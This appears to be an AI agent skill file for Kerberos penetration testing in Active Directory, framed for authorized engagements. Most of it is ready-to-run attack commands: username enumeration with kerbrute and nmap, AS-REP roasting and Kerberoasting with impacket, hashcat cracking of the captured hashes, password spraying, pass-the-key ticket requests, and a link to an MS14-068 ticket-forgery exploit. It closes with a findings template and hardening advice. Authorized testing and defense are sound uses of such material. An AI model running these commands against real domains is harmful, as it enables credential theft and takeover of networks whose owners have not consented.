pentesting-kerberos

$npx mdskill add xalgord/xalgorix/pentesting-kerberos

- During authorized Active Directory assessments when TCP/UDP 88 is open (a domain controller) - When you need to enumerate valid usernames without authentication - When testing for AS-REP roastable accounts (no Kerberos pre-auth) and Kerberoastable service accounts - When NTLM is disabled and you must authenticate to SMB/WinRM/etc. via Kerberos (ccache TGT) - When validating credentials via password spraying with low lockout risk

SKILL.md

.github/skills/pentesting-kerberosView on GitHub ↗
---
name: pentesting-kerberos
description: Testing the Kerberos authentication service (88/tcp and 88/udp) in Active Directory during authorized
  engagements. Covers username enumeration (kerbrute, nmap krb5-enum-users), AS-REP roasting of accounts without
  pre-auth, Kerberoasting service accounts (GetUserSPNs), password spraying, TGT acquisition (kinit) for Kerberos-only
  environments, krb5.conf generation, clock-skew handling, and MS14-068 ticket forgery.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- kerberos
- active-directory
- as-rep-roast
- kerberoast
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting Kerberos (port 88)

## When to Use

- During authorized Active Directory assessments when TCP/UDP 88 is open (a domain controller)
- When you need to enumerate valid usernames without authentication
- When testing for AS-REP roastable accounts (no Kerberos pre-auth) and Kerberoastable service accounts
- When NTLM is disabled and you must authenticate to SMB/WinRM/etc. via Kerberos (ccache TGT)
- When validating credentials via password spraying with low lockout risk

## Quick Enumeration

```bash
# Confirm Kerberos / identify the DC
nmap -p88 -sV <IP>
# Expected: 88/tcp open kerberos-sec

# Username enumeration (no creds) — AS-REQ probing
nmap -p88 --script krb5-enum-users \
  --script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt <IP>

kerbrute userenum -d domain.local --dc <DC_IP> users.txt

# Shodan-style discovery
# port:88 kerberos
```

## Critical: Checks Most Often Missed

1. **AS-REP roasting (no pre-auth)** — accounts with `DONT_REQ_PREAUTH` set return an AS-REP encrypted with the user's key, crackable offline with no valid creds required.
2. **Kerberoasting** — any authenticated user can request service tickets (TGS) for accounts with SPNs; the ticket is encrypted with the service account's NTLM hash and crackable offline.
3. **Clock skew is mandatory** — a host clock off by more than ~5 minutes causes `KRB_AP_ERR_SKEW` and every Kerberos auth fails silently. Sync to the DC first.
4. **NTLM-disabled environments** — NTLM attempts return `STATUS_NOT_SUPPORTED`; you must force Kerberos (`-k`) with a valid ccache TGT.
5. **MS14-068 (KB3011780)** — lets an attacker forge a PAC claiming Domain Admin privileges, validated by an unpatched DC. Critical if present.
6. **SPN/FQDN mismatch** — GSSAPI/Kerberos auth requires the exact FQDN matching the host SPN, or you get "Server not found in Kerberos database." Fix `/etc/hosts` ordering.

How to CONFIRM: username enumeration is confirmed when `kerbrute userenum` prints `[+] VALID USERNAME`. AS-REP roastability is confirmed when `GetNPUsers.py` returns a `$krb5asrep$` hash. Kerberoastability is confirmed when `GetUserSPNs.py -request` returns a `$krb5tgs$` hash.

## Workflow

### Step 1: Enumerate (valid usernames, realm)

```bash
# Brute-force valid usernames against the DC (no creds)
kerbrute userenum -d domain.local --dc <DC_IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

nmap -p88 --script krb5-enum-users \
  --script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt <DC_IP>
```

### Step 2: Pre-auth attacks (AS-REP roast, spray)

```bash
# AS-REP roast — accounts with no pre-auth, NO valid creds needed
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <DC_IP> -format hashcat -outputfile asrep.hash
# Crack
hashcat -m 18200 asrep.hash wordlist.txt

# Password spray with kerbrute (low lockout impact, mind the policy)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Spring2024!'
```

### Step 3: Exploit / Extract (Kerberoast, TGT)

```bash
# Kerberoast — request TGS for all SPN accounts (needs ANY valid creds)
GetUserSPNs.py -request -dc-ip <DC_IP> domain.local/<user>:<pass> -outputfile kerberoast.hash
# Crack service-account hashes offline
hashcat -m 13100 kerberoast.hash wordlist.txt

# Obtain a TGT for Kerberos-only auth
sudo ntpdate <dc.fqdn>                                  # avoid KRB_AP_ERR_SKEW
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
kinit <user>                                            # request TGT
klist                                                   # verify ccache
```

### Step 4: Post-access / lateral movement

```bash
# Use the TGT (no password sent) with SMB/WinRM tooling
netexec smb <dc.fqdn> -k
smbclient --kerberos //<dc.fqdn>/IPC$
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>      # GSSAPI SSO (match SPN FQDN)

# Request a TGT from a hash/aesKey for pass-the-key
getTGT.py domain.local/<user> -hashes :<NTHASH>
export KRB5CCNAME=<user>.ccache

# MS14-068 ticket forgery (authorized, unpatched DC only)
# https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **TGT** | Ticket Granting Ticket issued by the KDC after authentication; proves identity |
| **TGS** | Service ticket granting access to a specific service (SPN) |
| **Pre-authentication** | AS-REQ timestamp encryption; disabling it enables AS-REP roasting |
| **AS-REP roasting** | Cracking the AS-REP of a no-pre-auth account offline (no creds needed) |
| **Kerberoasting** | Requesting TGS for SPN accounts and cracking the service account hash offline |
| **SPN** | Service Principal Name; identifies a service instance for Kerberos |
| **ccache** | Credential cache file storing tickets (`KRB5CCNAME` points to it) |
| **KRB_AP_ERR_SKEW** | Failure caused by clock drift > ~5 minutes vs the DC |
| **MS14-068** | PAC forgery flaw allowing privilege escalation to Domain Admin |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **kerbrute** | Fast username enumeration and password spraying via Kerberos |
| **nmap krb5-enum-users** | Username enumeration NSE script |
| **impacket GetNPUsers.py** | AS-REP roasting |
| **impacket GetUserSPNs.py** | Kerberoasting (request TGS for SPN accounts) |
| **impacket getTGT.py / -k** | TGT acquisition and Kerberos auth for other tooling |
| **netexec / crackmapexec** | krb5.conf generation, Kerberos auth, spraying |
| **kinit / klist** | Request and inspect TGTs (MIT Kerberos) |
| **hashcat** | Crack $krb5asrep$ (18200) and $krb5tgs$ (13100) hashes |

## Common Scenarios

### Scenario 1: AS-REP Roast Without Creds
A user list reveals an account with pre-auth disabled. `GetNPUsers.py -no-pass` returns a `$krb5asrep$` hash cracked offline, yielding the first valid domain credential.

### Scenario 2: Kerberoast to Domain Escalation
With any low-priv credential, `GetUserSPNs.py -request` returns a service account's `$krb5tgs$` hash. The weak service password cracks, and the account turns out to be a member of a privileged group.

### Scenario 3: Kerberos-Only SMB Access
NTLM is disabled (`STATUS_NOT_SUPPORTED`). After syncing the clock and running `kinit`, `netexec smb <dc> -k` authenticates with the ccache TGT and lists shares.

### Scenario 4: Password Spray
`kerbrute passwordspray` against an enumerated user list finds one account using a seasonal password, providing initial domain access with minimal lockout risk.

## Output Format

```
## Kerberos Finding

**Service**: Kerberos (Active Directory KDC)
**Severity**: <Critical|High|Medium>
**Host**: <DC_IP>:88
**Realm/Domain**: <DOMAIN.LOCAL>

### Summary
<What was found: enumerated users, AS-REP roastable account, Kerberoastable SPN, MS14-068, weak password>

### Affected Accounts
| Account | Issue | Crackable | Notes |
|---------|-------|-----------|-------|
| svc_sql | SPN set (Kerberoast) | yes | weak password recovered |
| jdoe | no pre-auth (AS-REP) | yes | DONT_REQ_PREAUTH set |

### Evidence
- Command: <GetUserSPNs.py / GetNPUsers.py / kerbrute>
- Output: <$krb5tgs$ / $krb5asrep$ hash prefix, VALID USERNAME lines>

### Recommendation
1. Enable Kerberos pre-authentication on all accounts
2. Use long random passwords (gMSA) for service accounts with SPNs
3. Patch MS14-068 (KB3011780) on all domain controllers
4. Monitor for anomalous TGS requests (Kerberoasting) and AS-REP roasting
5. Enforce a strong password policy and account lockout thresholds
```

More from xalgord/xalgorix